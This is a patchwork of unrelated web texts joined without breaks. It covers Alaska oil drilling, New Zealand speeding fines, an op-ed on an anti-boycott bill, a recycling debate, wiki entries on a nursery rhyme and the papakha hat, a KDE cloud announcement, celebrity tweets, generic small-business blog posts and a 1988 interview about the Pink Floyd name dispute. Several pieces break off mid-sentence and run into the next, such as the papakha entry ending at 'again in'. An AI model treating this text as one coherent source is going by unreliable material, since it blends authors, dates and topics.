"It's certainly coming on faster than we originally thought," and might contain more oil than originally expected, Marushack told a reporter after the speech.
The field began producing oil in late 2015. This year, the field has nine of the 10 most productive oil wells in the state, Marushack told the group.
Marushack cautioned that the company needs permitting approval for each exploration well it plans to drill. It also needs support from the village of Nuiqsut to drill one of the wells, he said. That well is often referred to as Putu, and is located on state land, in the existing Colville River field.
"We have applied for permits for the four NPRA wells, but permits for Putu have not been filed," Lowman said.
Late last year, after the announcements of big North Slope discoveries including Armstrong's, ConocoPhillips snatched up more than 500,000 acres in state and federal lease sales in Alaska.
Marushack also warned that oil prices are expected to remain around $50 a barrel for a "long, long time," as oil from Lower 48 shale fields helps cap costs.
The low prices further increase the need to control operational costs on the remote North Slope — and to keep Alaska's tax system stable so projects can advance, he said.MORE AWARE: Donna Wilkinson’s husband Miles Philpott and their two children received five speeding tickets between them within a week for travelling between 5kmh and 9kmh over the 50kmh limit.
A Christchurch family thought they were law-abiding drivers, until they received five speeding tickets in one week.
Each fine was $30 and for speeds ranging from 55kmh to 59kmh in 50kmh zones.
Two were for son Kris, 21, two for daughter Stephanie, 22, and one for Miles Philpott in wife Donna Wilkinson's car.
They were from speed camera vans, parked on Hoon Hay Rd, Somerfield St, Sparks Rd, Springs Rd and in Kaikoura in January.
Wilkinson said no-one in the family condoned speeding, but the fines seemed "a bit harsh".
"Me and my husband never get tickets. Now we're aware, we'll have to be more careful. It's probably a good thing, if you know something it makes you think about it."
They planned to pay the fines, despite one possibly being the responsibility of the new owner of her son's car.
Also clocked on Hoon Hay Rd in recent weeks was business owner Amy Clark, 28.
She received a speeding fine for travelling 54kmh in January.
"It has made me more aware of the speed I'm driving, so it's not necessarily a bad thing, just an unpleasant surprise. I'd rather have a ticket than kill a kid."
All police districts enforced a lower speed tolerance of 4kmh over the limit from December 1, 2013, to January 31, 2014.As the president continues hacking away at a load-bearing pillar of the First Amendment, the freedom of the press, Congress is revving the chainsaw for another vital pillar; the right to free speech. The “Israel Anti-Boycott Act” could more aptly be called the “Exception to the First Amendment Act,” in that it would make it a felony for Americans engaged in interstate or foreign commerce to support international efforts to boycott Israel.
Of particular concern for many are the harsh penalties it would impose; civil penalties of up to $250,000 and a maximum criminal penalty of up to $1 million and 20 years in prison. Since the legislation’s quiet introduction in March by Sen. Ben Cardin Benjamin (Ben) Louis CardinThe Hill's 12:30 Report: Trump looks for boost from Korea summit The Hill's Morning Report - A pivotal week for Trump The Hill's 12:30 Report: Anticipation builds for Mueller report MORE (D-Md.) and Rep. Peter Roskam (R-Ill.), a majority of House members and 48 senators have already co-sponsored the bill.
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First, it is worth reviewing why some Americans are concerned about Israeli policy enough to join a boycott. The Israeli treatment of Palestinians includes abuses that have been well documented by groups like Amnesty International and Human Rights Watch. These abuses include extrajudicial killings, a blockade of the Gaza Strip that has caused a humanitarian crisis, and the unrestricted development of settlements in the Israeli-occupied West Bank.
With the U.S. government refusing to take meaningful action against Israel’s policies, some Americans are looking for other ways to support peace and justice. Some have embraced the so-called BDS movement (for Boycott, Divestment and Sanctions) to prod the Israeli government to address human rights violations.
However, even progressive pro-Israel groups like J Street and Americans for Peace Now who oppose BDS have come out against the Israel Anti-Boycott Act. They fear that the bill could actually harm prospects for peace by blurring the line between support for the State of Israel and opposing the illegal settlements.
Whatever your beliefs about Israeli policy and the tactic of boycotts, outlawing the exercise of free speech is about as unconstitutional as it gets. On those grounds, the ACLU wrote a letter to the Senate on July 17 detailing its opposition the bill, and urging senators to oppose it.
Since the ACLU sent its letter, some senators have been reexamining their support for the bill. Under significant pressure from constituents and activist groups at town halls, Sen. Kirsten Gillibrand Kirsten Elizabeth GillibrandWarren Buffett: I would support Bloomberg if he ran for president Warren vows to forgo 'fancy receptions or big money fundraisers' Dem Party chief defends initial response to Smollett incident: 'We acted on the facts as we knew at the time' MORE (D-N.Y.) actually agreed to rescind her support for the legislation and remove her name from the list of co-sponsors. Other Senate co-sponsors should consider doing the same.
Those of us who oppose a violent approach to the conflict in the Middle East should not be criminalizing one of the few potent non-violent tools available. From boycotts of British goods during the struggle for U.S. independence, to Gandhi’s boycotts against colonial institutions in India, to the boycotts during the Civil Rights Movement, boycotts have been a powerful political tool for centuries.
Boycotts have been critical in allowing citizens to peacefully press for political change globally. Nelson Mandela, fresh out of prison, traveled to the U.S. to thank cheering American crowds for participating in a boycott that was instrumental in bringing down the racist Apartheid system. Boycotts against nations have been called from factions across the political spectrum for reasons that span from human rights to animal protection. Activists have called for boycotts on a diverse set of countries that includes Myanmar, South Korea, Botswana and Iran.
This long and storied history of boycotts does not justify any one boycott as strategically effective or morally sound. Any of us may agree with some boycotts and strenuously disagree with, even actively oppose, others. But we should all agree that the U.S. government should not be telling us what boycotts we can and can not support—let alone throwing U.S. citizens in jail for their political engagement. Members of Congress should use their own free speech, which includes a much bigger bully pulpit than most of us have, to oppose political initiatives they find offensive, rather than criminalizing specific campaigns.
With Congress now on break for its long August recess, many members of Congress will be holding town halls for their constituents. Citizens who value their right to free speech can attend these town halls or simply make phone calls to press their senators and representatives to oppose the Israel Anti-Boycott Act, S. 720 in the Senate and H.R. 1697 in the House. Choosing silence now could mean having silence chosen for you in the future if Congress succeeds in adding an asterisk to the First Amendment.
Jon Rainwater is the executive director of Peace Action, an organization working towards the elimination of nuclear weapons, promoting government spending priorities that support human needs, encouraging security through international cooperation and human rights and supporting diplomatic solutions to international conflicts.
The views expressed by this author are their own and are not the views of The Hill.Recycling “is good civic behavior,” said Samantha MacBride, an assistant professor of public affairs at Baruch College, City University of New York, but it’s oversold as a panacea to a whole host of environmental ills, from overflowing landfills to global warming. “I wouldn’t say that people who do recycling feel they’ve done everything they can by participating, but they think there’s a lot more being achieved than there actually is,” she said. Nationally, said Professor MacBride, who is the author of “Recycling Reconsidered” (MIT Press, 2011), recycling prevents only about one-third of all trash from ending up in landfills.
Partly, she said, that is because people are not recycling everything they can. Partly it’s because the recycling model in most municipalities of picking up a bin with all the recyclables mixed together, especially the plastics, doesn’t work well.
“There’s a huge range of plastic materials and hundreds of different resins,” Professor MacBride said. “We need markets and processes to route them back into production and for the most part, those processes don’t exist.”
So some plastics are sent in bales to China and developing countries, and some are disposed of in landfills.
The emphasis, she said, has to be much more on regulating and recycling waste from manufacturers rather than consumer waste.
The other problem is that while “recycling is a wonderful thing to do if we’re comparing it to throwing stuff away, it has become a reward for consumption,” said Michael Maniates, a professor of environmental science at Allegheny College in Pennsylvania.
Gernot Wagner, an economist with the Environmental Defense Fund and author of “But Will the Planet Notice: How Smart Economics Can Save the World,” (Hill and Wang, 2011), agrees. “There’s a well-documented phenomenon known as single-action bias, where people do one thing and move on,” he said. “People don’t explicitly think, ‘I’ve recycled a cup and solved global warming,’ but rather once they’ve done an action like recycling, they feel consciously or subconsciously like they’ve done their part.”
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Or as the Center for Research on Environmental Decisions, which is affiliated with the Earth Institute at Columbia University, says on its Web site: “Although recycling is important, it should be but one activity in a series of behavior changes aimed at reducing climate change. Switching to wind or other renewable energies, consuming less meat, conserving daily energy use and eating locally grown food are other effective ways to mitigate climate change, to name but a few. However, if individuals and institutions participate in recycling programs, they may be prone to the single-action bias and feel like they are already doing enough to protect the environment.”
Hold on there, said Allen Hershkowitz, senior scientist and director of the solid waste project at the environmental organization the Natural Resources Defense Council. “I’ve never dealt with a person or company who said, ‘We recycle so we don’t have to do anything else.’ It’s, ‘We recycle, what else can we do?’ ”
In his role as an adviser to the National Hockey League, Major League Baseball and the National Basketball Association, among others, he said he found that recycling was “an entry activity that leads to other activities such as buying recycled, energy effectiveness and fan education.”
Juliet Schor, a professor of sociology at Boston College, said that a number of European studies had demonstrated that people who bought green products or did some sort of similar “conscious consumerism” didn’t stop there, but continued on with other types of environmental activism.
A study conducted by Professor Schor and a graduate student, Margaret Willis, and published recently in The Annals of the American Academy of Political and Social Science, called “Does Changing Light Bulbs Lead to Changing the World? Political Action and the Conscious Consumer” looked at the concern that “individual action substitutes or ‘crowds out’ civic and collective action.”
Part of the study included 2,271 survey responses from people identified as being “conscious consumers” through an ecologically oriented nonprofit organization the Center for a New American dream. These respondents, largely white, female and highly educated, were asked questions like how often (ranging from “never” to “very consistently”) they engaged in such activities as choosing to drive less, contacting government representatives to express an opinion and buying local or green goods.
While the study didn’t look at recycling in particular, it found that those who chose to do individual green actions were also more involved in other broader political activism.
But Professor Schor said she was troubled that recycling “is what they’re teaching kids in school is going to save the world.”
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And that was the point Professor MacBride wanted to emphasize.
“We don’t want to hear the bad side of recycling,” Professor MacBride said. “That’s a child’s view of the world. It’s time to grow up.”
So what can we do? Remember that there’s two other Rs — reduce and reuse — that are far too often ignored.
“As it has turned out ‘reuse’ is something that our kids learn in school as part of the ‘three Rs,’” Professor Maniates said. “But it has no resonance or meaning in mainstream or popular environmental politics and living. I brought my hangers to the dry cleaner and said, ‘Maybe you can reuse these’ and they said, ‘Sure, we’ll recycle them.’ ”
David N. Pellow, a professor of sociology at the University of Minnesota, offered a similar perspective. “I would urge people to buy fewer things, buy higher quality, fix things when they’re broken. I would encourage people to recycle as a last stage after they’ve done all these other things.”
And remember not to buy into single-action bias. As Mr. Hershkowitz said: “We are dealing with a gigantic problem and there is no one large undertaking that any individual or business or country can do to solve our ecological problems. It will take billions of people making highly intelligent ecological choices.”"Who Killed Cock Robin" is an English nursery rhyme, which has been much used as a murder archetype[citation needed] in world culture. It has a Roud Folk Song Index number of 494.
Lyrics [ edit ]
The earliest record of the rhyme is in Tommy Thumb's Pretty Song Book, published c. 1744, which noted only the first four verses. The extended version given below was not printed until c. 1770.[1]
Who killed Cock Robin? I, said the Sparrow, with my bow and arrow, I killed Cock Robin. Who saw him die? I, said the Fly, with my little eye, I saw him die. Who caught his blood? I, said the Fish, with my little dish, I caught his blood. Who'll make the shroud? I, said the Beetle, with my thread and needle, I'll make the shroud. Who'll dig his grave? I, said the Owl, with my little trowel, I'll dig his grave. Who'll be the parson? I, said the Rook, with my little book, I'll be the parson. Who'll be the clerk? I, said the Lark, if it's not in the dark, I'll be the clerk. Who'll carry the link? I, said the Linnet, I'll fetch it in a minute, I'll carry the link. Who'll be chief mourner? I, said the Dove, I mourn for my love, I'll be chief mourner. Who'll carry the coffin? I, said the Kite, if it's not through the night, I'll carry the coffin. Who'll bear the pall? We, said the Wren, both the cock and the hen, We'll bear the pall. Who'll sing a psalm? I, said the Thrush, as she sat on a bush, I'll sing a psalm. Who'll toll the bell? I, said the Bull, because I can pull, I'll toll the bell. All the birds of the air fell a-sighing and a-sobbing, when they heard the bell toll for poor Cock Robin.
The rhyme has often been reprinted with illustrations, as suitable reading material for small children.[citation needed] The rhyme also has an alternative ending, in which the sparrow who killed cock robin is hanged for his crime.[2] Several early versions picture a stocky, strong-billed bullfinch tolling the bell, which may have been the original intention of the rhyme.[3]
Origin and meaning [ edit ]
Although the song was not recorded until the mid-eighteenth century,[4] there is some evidence that it is much older. The death of a robin by an arrow is depicted in a 15th-century stained glass window at Buckland Rectory, Gloucestershire,[5] and the rhyme is similar to a story, Phyllyp Sparowe, written by John Skelton about 1508.[1] The use of the rhyme 'owl' with'shovel', could suggest that it was originally used in older middle English pronunciation.[1] Versions of the story appear to exist in other countries, including Germany.[1]
A number of theories have been advanced to explain the meaning of the rhyme:
The rhyme records a mythological event, such as the death of the god Balder from Norse mythology, [1] or the ritual sacrifice of a king figure, as proposed by early folklorists as in the 'Cutty Wren' theory of a 'pagan survival'. [6] [7]
or the ritual sacrifice of a king figure, as proposed by early folklorists as in the 'Cutty Wren' theory of a 'pagan survival'. It is a parody of the death of King William II, who was killed by an arrow while hunting in the New Forest (Hampshire) in 1100, and who was known as William Rufus, meaning "red". [8]
The rhyme is connected with the fall of Robert Walpole's government in 1742, since Robin is a diminutive form of Robert and the first printing is close to the time of the events mentioned.[1]
All of these theories are based on perceived similarities in the text to legendary or historical events, or on the similarities of names. Peter Opie pointed out that an existing rhyme could have been adapted to fit the circumstances of political events in the eighteenth century.[1]
The theme of Cock Robin's death as well as the poem's distinctive cadence have become archetypes, much used in literary fiction and other works of art, from poems, to murder mysteries, to cartoons.[1]Edit: please check the publishing date of this post if you didn’t and then come here for explanation
KDE is going to provide an ownCloud installation to let Plasma and KDE PIM (Kontact) users sync their data: you can already use ownCloud with cardDAV, calDAV and webDAV protocols to keep contacts, calendars and files synced across your devices, including the ones powered by Plasma and Kontact.
The next step is providing an ownCloud app to sync Plasma configurations and manage them. When work will be completed you will be able to load a Plasma session by specifying your username, password and ownCloud provider (KDE one or your own hosted one) and find everything synced: Plasma’s look and feel, ownCloud hosted files in Dolphin, your email account, contacts and calendar set up in Kontact and in general user’s apps configuration.
More coming soon.Kirstie Allie has unleashed a broadside against the movie and TV companies who are firing actors, producers and directors over accusations of sexual misconduct.
The former Cheers star took to Twitter to call the scandal engulfing Hollywood ‘bulls**t’, making the comments soon after the firing of US news host Matt Lauer from NBC following allegations of sexual harassment
“What the hell is happening?” she wrote.
“We now live in a country where people lose their jobs when accused of something without proof or trial or in some cases w anonymous accusers?”
“Can’t confront your accuser? This is bulls**t. And IT HURTS THE REAL VICTIMS of abuse. AND innocent people.”
Despite the timing of the tweets, she added that her remarks were not in relation to Matt Lauer’s sacking specifically.
What the hell is happening? We now live in a country where people lose their jobs when accused of something without proof or trial or in some cases w anonymous accusers? Can't confront your accuser? This is bullshit. And IT HURTS THE REAL VICTIMS of abuse. AND innocent people. — Kirstie Alley (@kirstiealley) November 29, 2017
I may be mistaken (I'm not) I don't believe I've ever mentioned Matt L. in ANY tweet EVER.. another example of MISDUPLICATION run a muck — Kirstie Alley (@kirstiealley) November 30, 2017
A raft of actors, producers, writers and executives have been dismissed following allegations of sexual misconduct.
Some, like producer Harvey Weinstein, now have open police investigations into claims of assault and harassment.
Meanhile, the likes of Kevin Spacey have dismissed following multiple accusations of impropriety.
Read more
Weinstein expelled from Directors Guild of America
Spacey being ‘investigated’ over new UK assault claim
John Lasseter’s Disney is career isn’t over yetA Caucasian wearing a papakha
Papakha (Armenian: փափախ; Azerbaijani: papaq; Adyghe: па1о, pa'o; Georgian: ფაფახი, p’ap’akhi, [pʰapʰaxi]; Chechen: холхазан куй, xolxazan kuy; Russian: папа́ха, papakha, IPA: [pɐˈpaxə]), also known as astrakhan peruk in English, is a wool hat worn by men throughout the Caucasus and also in uniformed regiments in the region and beyond. The word papakha is of Turkic language origin (cf Turkish papak, Azeri papaq).[1][2][3][4]
There are two different Russian papakhas. One, called a papaha, is a high fur hat, usually made of karakul sheep skin. The hat has the general appearance of a cylinder with one open end, and is set upon the head in such a way as to have the brim touch the temples. Some of them come with ear flaps which can be folded up when not in use. The other called a kubanka, which is similar to the papaha, except shorter and with no ear flaps.
Papakha are very common in Armenia as well as other mountainous regions, where a man's hat is considered a very important part of his identity.[5] In Georgia, papakhi are also mostly worn in mountainous regions of Pshavi, Khevi, Mtiuleti, and Tusheti. Papaq are also very common in Azerbaijan.[6][2] Papakhi are also donned by the Chechens, Dagestanians, and other Caucasian tribes. In 1855, after the campaigns in the Caucasus Mountains, the Papakha was introduced in the Russian army as an official part of the uniform for the Cossacks, and later for the rest of the cavalry.
Russian and Soviet army uniforms [ edit ]
Shortly after the Russian Revolution of 1917, papakhas were removed from the new Red Army uniform because of their association with the old Tsarist regime and the fact that many Cossack regiments of the Tsarist army fought against the Bolsheviks. During the Russian Civil War, many Bolshevik cavalrymen and officers (like Vasily Chapayev) wore papakhas or kubankas because many of them were cossacks and the hat had been part of the cavalryman's uniform.
Papakhas became part of the uniform again in |
indeed nice people, and some of them are our colleagues, too. Let's respect their choice.
After all, you have an awesomely balanced political system in the US which sustained generations of politicians, good and not so. It is not that bad if you have a populist as a president, but free press and other forces in the court and parliament who can openly oppose him and constrain. Please enjoy it. Or if you think it could not get any worse―take a look at Russia where we also have a populist as a president, but almost no free press, and no independent court or parliament whatsoever.
Mind you, I'm not saying you should stop criticizing Trump or his allies. But please don't get obsessed about it, be mindful and respectful to your opponents, and do not blame Russia and Russian people on everything. Thank you.January 7th, 2016 by Aaron Web
I know that a lot of people are talking about Siri as if is the best thing since sliced bread when it comes to technology. I can see why many people would think this is the case. I have been one of the early adopters of voice recognition, and has been using the Dragon NaturallySpeaking program for a couple of years now. I generally find that it provided me with a lot of productivity because I do a lot of blogging and other things that frankly benefit from me not having to type …
Tags: Dragon naturally, siri, voice recognition
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December 30th, 2015 by Aaron Web
How do you want to create your publication?
You could start your design from scratch, determining all the margin and column settings, type styles, ruling lines, text and image placement, and so on. Or you could use a prepared desktop-publishing template that poses the design question in a simpler, fill-in-the-blanks format.
A template is a ready-to-use publication file, with spaces for you to insert text and graphics into a prelab layout. Most page-layout programs today come with a variety of templates, and additional template files are available in several program formats, both commercially and as shareware.…
Tags: design tips, using templates for newsletters
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December 15th, 2015 by Aaron Web
A point of sale software is a computer program which allows you to track inventory, which is a major concern of every business owner. Tracking your sales and making sure that your businesses inventory are kept at levels will not only help you to know when you need to reorder but it also helps you to carefully analyze each item at a time. Point of sale software records each item that is sold from your store, therefore ensuring that inventory systems are up to date. Apart from that, you get additional details about your sales than you …
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December 12th, 2015 by Aaron Web
When you take the home-office deduction, are you waving a red flag in the eyes of Internal Revenue Service examiners? And if you are, what does that mean?
For years, tax sages have warned that claiming a home office increases your chances of being audited, and the IRS has tacitly gone along with those stories (maybe even exaggerating them, some suggest, to scare home-office workers out of taking the deduction).
In truth, there’s good reason to believe that the home-office deduction flag is fading, as auditors target more fertile ground looking for hidden tax dollars. Self-employment income in excess of $100,000 can still get you a place on the IRS hit list, for example.
But, as the number of legitimate home-based businesses grows, and according to The Official MBA Guide, the IRS’s chances of finding fraud wherever it looks have slimmed. Recent rules and new forms have eliminated a lot of the gray areas that surrounded home-office claims at the same time that many more taxpayers have joined the ranks of home-office workers. If auditing home offices ever was like fishing in a barrel, the barrel has been washed away by the work-at-home tsunami. The IRS could waste a lot of energy and resources auditing the more than 20 million home-based businesses and find a lot of careful record keeping, a lot of legitimately deductible home offices, and not a lot of money owed the U.S. Treasury. Read the rest of this entry »
Tags: knowing when, taxes for home businesses, the home deduction
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November 27th, 2015 by Aaron Web
There’s no law against bad office design, but after a talk with Philadelphia-based graphic designer Allan Wright, you can’t help but think it’s a crime. After a recent visit to a client’s very corporate, very bland headquarters, he had this to say: “We found people stuck in little booths with no natural light. Everything was horrible.”
His colleague Michele Armstrong agreed: “I felt like crying when I left the place.”
Some may accuse Wright and Armstrong of holding non-artist types to lofty standards; after all, why does an accounting firm, for example, have to be pretty? How …
Tags: personalizing with style, your office
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November 24th, 2015 by Aaron Web
Even if you have been suffering from snoring, this does not mean that you have to deal with it forever because there is still a solution. You might have already been looking for the right product that can put an end to snoring but end up getting disappointed with false promises. One thing you can do so you can find the right product is by reading snoring mouthpiece reviews. The reviews are really helpful when it comes to giving you an idea which product is really effective for you. Aside from the features, you will also have an idea of the benefits you can reap from the product. They are indeed worth purchasing because of the positive reviews they gain from users.
You might also be wondering which anti-snoring aid is really effective and snoring mouthpiece reviews can provide you solutions to your problem. The mouthpiece should be really popular and considered as the first choice of most snorers. This is the oldest type of anti-snoring device you can purchase in the market. It has several benefits but you must also take note that comfort is really everything sites like the British Snoring And Apnea Association recommend this. It is not enough that the product is effective because you also need to make sure that it is capable of giving you what you need. With the help of snoring mouthpiece reviews, you will surely find the product that is right for you.
Be A Keen Buyer
Snoring has already affected many people and if it already interferes in having a good night’s sleep, it is about time you consider a snoring mouthpiece. Based on snoring mouthpiece reviews, it is one of the effective devices you can use so you can get rid of snoring. If you are going to read snoring mouthpiece reviews, you will be able to discover a lot of things including the benefits of using the snoring mouthpiece. One of the benefits it highlights is comfort, as you no longer have to worry about snoring. You will also look forward to beautiful mornings as you are able to sleep soundly.
It is also worth reading snoring mouthpiece reviews because they provide you each and every feature of mouthpieces. The materials that the product is made of are also presented. This way, you will have an idea whether or not the product is really worth trying. You will also be informed of the disadvantages of your prospective snoring mouthpiece. There are also warnings and other options to consider. You will not be wasting your time once you read reviews as they contain all the useful information. You should take time to read reviews if you are planning to buy a snoring mouthpiece as they can serve as your guide to buying the product. Read the rest of this entry »
Tags: healthy sleep, snoring help
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November 19th, 2015 by Aaron Web
I do have to say that since I bought the new iPhone I have been very impressed with the battery life in general. For a long period of time I had been using an android handset because I thought that it was probably one of the better ones on the market. I have to admit I was a little bit afraid of joining the cult of Apple, which makes a lot of sense because there are a lot of weird old people in it. But, after I got over the fact that …
Tags: iPhone battery life, iPhone versus android, monolithic times
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November 12th, 2015 by Aaron Web
Americans don’t like lawyers. Unfortunately, we need them. This is especially true if you own your own business, thanks to complicated laws, government red tape, technology issues and the proliferation of lawsuits.
Why don’t Americans like lawyers? (1) Lawyers are expensive. Depending on your locale, you may pay anywhere from $125 to $250 per hour for an attorney’s services. (2) Lawyers make people uncomfortable, sitting in their high-backed office chairs, behind huge mahogany desks and beneath a dozen framed diplomas. (3) A few lawyers are incompetent, unethical, or both, and thus many people are afraid of being …
Tags: bad lawyers, lawyers and your small business
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November 11th, 2015 by Aaron Web
America’s fitness craze goes on and on. Evidence can be seen every day on streets and paths across the country. The runners, walkers, bikers, rollerbladers (and more!) are reaping the benefits of fitness. They’re out to improve their appearance, lose weight, and tone their muscles. But in our quest for fitness, we’re sometimes vulnerable to misinformation. It may come from companies trying to sell products or fitness gurus trying to sell us a new training method, piece of equipment, or special powder or vitamin.
Use the test below to see how fit you are factually when …
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November 7th, 2015 by Aaron Web
Across the country, millions of home-business owners are forced to lead undercover lives. They are justifiably fearful that if they operate in the open and inform their neighbors or local authorities of their business, they could run up against local zoning laws that prohibit such enterprises.
This was aptly demonstrated during a recent Home-Based Business Expo, at Elgin Community College, near Chicago. About 60 entrepreneurs chose to list only their phone numbers–not addresses–in the Expo’s directory. “Some of them are doing business in ‘no home business’ zoning districts,” said Hilma Nelson, a work-at-home graphic designer who lives …Penthouse Magazine September 1988 Pink Floyd
'Is there anything more sad and unjust than a fake?" frets radically flustered British rock legend Roger Waters, seated in his Spartan loft offices in London. His fervid question fairly scars the afternoon air with its savagery. "Can you imagine the disappointment in learning you'd spent your savings on a false Magritte or a fraudulent John Lennon manuscript? Not to mention the spiritual trust and emotion people invest in the symbolic power of any name."
Indeed, Waters allows, in many ancient cultures names were sacred things that could never be changed, transferred, or falsely assumed. To tamper with a name, much less manipulate it in the marketplace, was to desecrate the spiritual force it contained. It was like spitting on the soul. "And it was the struggle against these kinds of attitudes,"adds the wiry Waters, his square jaw stiffening, "that helped John Lennon create the sense of artistic decency that I like to call the Lennon Instinct."
The fight that Waters is discussing is closer to home than any cunning exploitation of the farflung Beatles legacy, but the stakes are still plenty high. Indeed, one of the biggest and most bitter battles in the annals of the billion-dollar rock business concerns the much-coveted legal custody of a quirky musical trademark: Pink Floyd. In the beginning were the words, and the words were the Pink Floyd sound. Derived from the first names of two obscure Georgia bluesmen (Pink Anderson and Floyd Council), the term was applied in 1965 to a certain experimental British rock band; and over the course of two decades it has become synonymous with a magnetic, edgy music in which its pervasive chilling mood is the star.
The man at the center of the ugly contest for control of this potent rock presence is songwriter Roger Waters, a lyricist extraordinaire whose spiky meditations on death, madness, and apocalypse were pivotal in leading an obscure British psychedelic group to the pinnacle of commercial pre-eminence in progressive rock. In particular, Waters wrote all the words and the better part of the music for Pink Floyd's 1973 album, Dark Side Of The Moon. One of the most successful records of all time, the hypnotic 'Dark Side' has lingered for a staggering 725 weeks on Billboard's pop charts; yet its spooky cover image of a prismatic pyramid is the closest its faceless creators have ever come to iconlike stardom.
Waters' legendary fertile imagination yielded another phenomenal blockbuster in 1979, the epic autobiographical ode to postwar alienation, The Wall -- and under his leadership the band would ultimately move more than 55 million albums. But the focus of fans' adulation remained the anonymous banner of "Pink Floyd." The Floyd broke up in 1983 -- notwithstanding all flamboyant appearances to the contrary -- and now Waters and longtime Floyd lead guitarist/vocalist Dave Gilmour are locked in a fight over rights to the name. Waters wants "the reigning trade-emblem of rock" to be permanently retired, pleading, "Let's be fair to our public, for pity's sake, and admit the group disintegrated long ago!"
Gilmour vehemently rejects such notions, raging, "I've been working on my career with Pink Floyd for 20 years -- since 1968. I'm 44 now, too old to start all over at this stage of my career, and I don't see any reason why I should. Pink Floyd is not some sacred or hallowed thing that never made bad or boring records in the past. And I'm not destroying anything by trying to carry on!" Actually, these pitched acrimonies evolved out of a 1985 management rift, in which Waters ended his representation by veteran Floyd manager Steve O'Rourke. Their falling-out was over contractual agreements for future Floyd output -- a matter Waters deemed moot since the band was, to his mind, defunct. When O'Rourke bridled, calling his termination by Waters a violation of his own formal agreements with, and responsibilities toward, the entity known as Pink Floyd, Roger sought support from former band members Gilmour and drummer Nick Mason (Roger even rashly proposed to cede the band's rights to Pink Floyd if they'd close ranks against O'Rourke's claims; neither Gilmour nor Mason accepted Waters never-to-be-repeated offer.)
As Waters tells it, when he calmed down and took the long view on both the deepening breach with O'Rourke and his estrangement from Gilmour, Mason and Floyd orphan Rick Wright (who Roger says was fired by mutual consent of the rest in 1980), he decided the sanest course of action was a writ to nullify the name Pink Floyd. In 1986, on Halloween, Roger Waters filed suit in London against Gilmour and Mason. Last year, the dispute spilled out of the offices of the principals' attorneys and onto the world's concert stages. Roger Waters mounted a massive tour in support of Radio KAOS, his second solo LP, while Gilmour, Mason and Wright performed the A Momentary Lapse Of Reason LP under the Pink Floyd flag.
Waters' record drew wildly mixed reviews and sold modestly; yet his much-praised KAOS concert pageant, while pitted against the rising tide of pseudo-Floyd promotion, slowly prospered to where Waters could sell out solo shows in England's gigantic Wembley Arena on two consecutive nights. Meanwhile, the product of Gilmour's Floyd facsimile drew similarly mixed notices but triumphed in record stores, sparking a hefty 3 million purchases in the U.S. alone; and the laser and prop-packed 'Lapse Of Reason' dates proved a steady sellout internationally. On both tours, crowds were treated to the bountifully foreboding sweep of the Pink Floyd aesthetic. Hits and FM favorites like "Welcome to the Machine," "Money," and "Another Brick In The Wall" were lavished on all comers, but it was only during the Radio KAOS concerts that noted Los Angeles deejay Jim Ladd (performing as the voice of the mythical KAOS station) deigned to declare, "Words and music by Roger Waters!"
While Waters' authorship of the best of the Pink Floyd repertoire was plain from the start, it was opponent Dave Gilmour who won the crucial first round at the box office. While savoring the bounty from A Momentary Lapse Of Reason, Dave permitted himself a bit of boasting last November in the pages of 'Rolling Stone': "We never sat down at any point and said, `It doesn't sound Floyd enough. Make this more Floyd.' We just worked on the songs until they sounded right. When they sounded great and right, that's when it became Pink Floyd." Roger Waters read that "arrogant soliloquy" down in Nassau's Compass Point Studios last spring while at work with Paul "Don't Shed A Tear" Carrack and the Bleeding Heart Band on the then untitled follow-up to Radio KAOS. For Roger, Gilmour's assertion was the last straw. "That's an outright lie, absolute and barefaced," he seethed, slamming the magazine down, "and someday the world will know the depth of this entire hoax!"
Waters saw Gilmour's quote in 'Rolling Stone' as the rock equivalent of the Iran-Contra crew and their droll demurrals concerning official misconduct, despite a damning paper trail to the contrary. The Gilmour statement emboldened Waters to come forth for the first time with details of what he sees as the behind-the-scenes disloyalties and double-dealings that gave rise to A Momentary Lapse of Reason. "I must say," Waters quips, "that under the circumstances, it's a superb title for a so-called Pink Floyd record." Granted, anyone can say anything to the press to justify his position to Pink Floyd's legion of rabid fans. However, the intrigues that emerge from six months of independent inquiry into this epic test of rock'n'roll wills differ shockingly from all previous accounts.
What emerges is a saga of greed, cynicism, and misrepresentation in the modern music business. Over the last 20 years, rock has grown from the simple expression of a spirited singer and his song into a gigantic entertainment juggernaut in which even the most splendid displays of "talent" and "vision" can be of synthetic origin. Thanks to the convolutions of current recording technology, a musician needn't play, a band needn't assemble, an artistic bond needn't exist. A songwriter/producer can adopt the focused traits of an assembly-line foreman as he brings the illusion of a supergroup and its latest album into being. This is the story of a massive controversy, centered on the marketing of two seemingly foolish words: Pink Floyd.
'You learn nothing from a lie," says Roger Waters, stretched out in the Billiard Room, a home studio that has supplanted the game room of his spacious house in Barnes, West London. It's been a troubled six months since our initial Pink Floyd-related talk, and the sinewy Waters looks distinctly world-weary. "Even as you discover a deliberate untruth, it always only confirms what you already knew but refused to face."
This blunt observation is at the core of Roger Waters's outlook as a composer, since unsentimental confrontations with delusion form the fundamental themes of his work. Like many old-guard rock practitioners, Waters values the unconditional openness of the best rock as a public expression of a personal truth. Naysayers claim that rock no longer requires any creed or substance beyond the brazen announcement of itself.
"In Aldous Huxley's book 'Brave New World'," mulls Waters, nursing a cup of strong tea, "he warned about every human being conditioned to accept his lot so that the bosses arrive at a nice smooth situation where nobody questions anything and everything is supposedly 'taken care of.' This is the deluded scenario I put forth in Radio KAOS -- which was my doomsday-bound vision of a'soap-operatic republic' in which nobody gives a shit if, for instance, Oliver North did the right thing or was wrong, or what effect it had on anything else. All that many viewers still care about concerning the indicted Mr. North is whether he gave a good, solid, John Wayne television performance. And because North's airtime suddenly became entwined with the American networks' sickening concept of what constitutes great television, it was literally excused! What it comes down to for me is: Will the technologies of communication and culture -- and especially popular music, which is a vast and beloved enterprise -- help us to understand one another better, or will they deceive us and keep us apart? While there's still time, we all have to answer for ourselves. But neither Huxley nor Meese nor Ollie North could have prepared me for the creative, technological and moral issues I'm facing with the Pink Floyd sham -- a grand display that's also being excused in public because it makes for great arena rock. Naturally," he chuckles, showing a handsome, seldom seen grin that merits more exposure, "all of this solemn contemplation is showing up in my music. Radio KAOS was hopefully universal in its pained concern, but my new album's themes involve anguish in my very own backyard."
Indeed, one day last winter, as the personnel calling themselves Pink Floyd were moving across the map from San Diego to Sydney in fierce pursuit of ticket sales, a pensive Roger Waters went to the Billiard Room and began writing stanzas for what became a song for his new album:
We watched the tragedy unfold
We did as we were told
We bought and sold
It was the greatest show on Earth
But then it was over
We oohed and aahed
We drove our racing cars
We ate our last jars of caviar
And somewhere out there in the stars
A keen-eyed lookout spied a flickering star
Our last hurrah
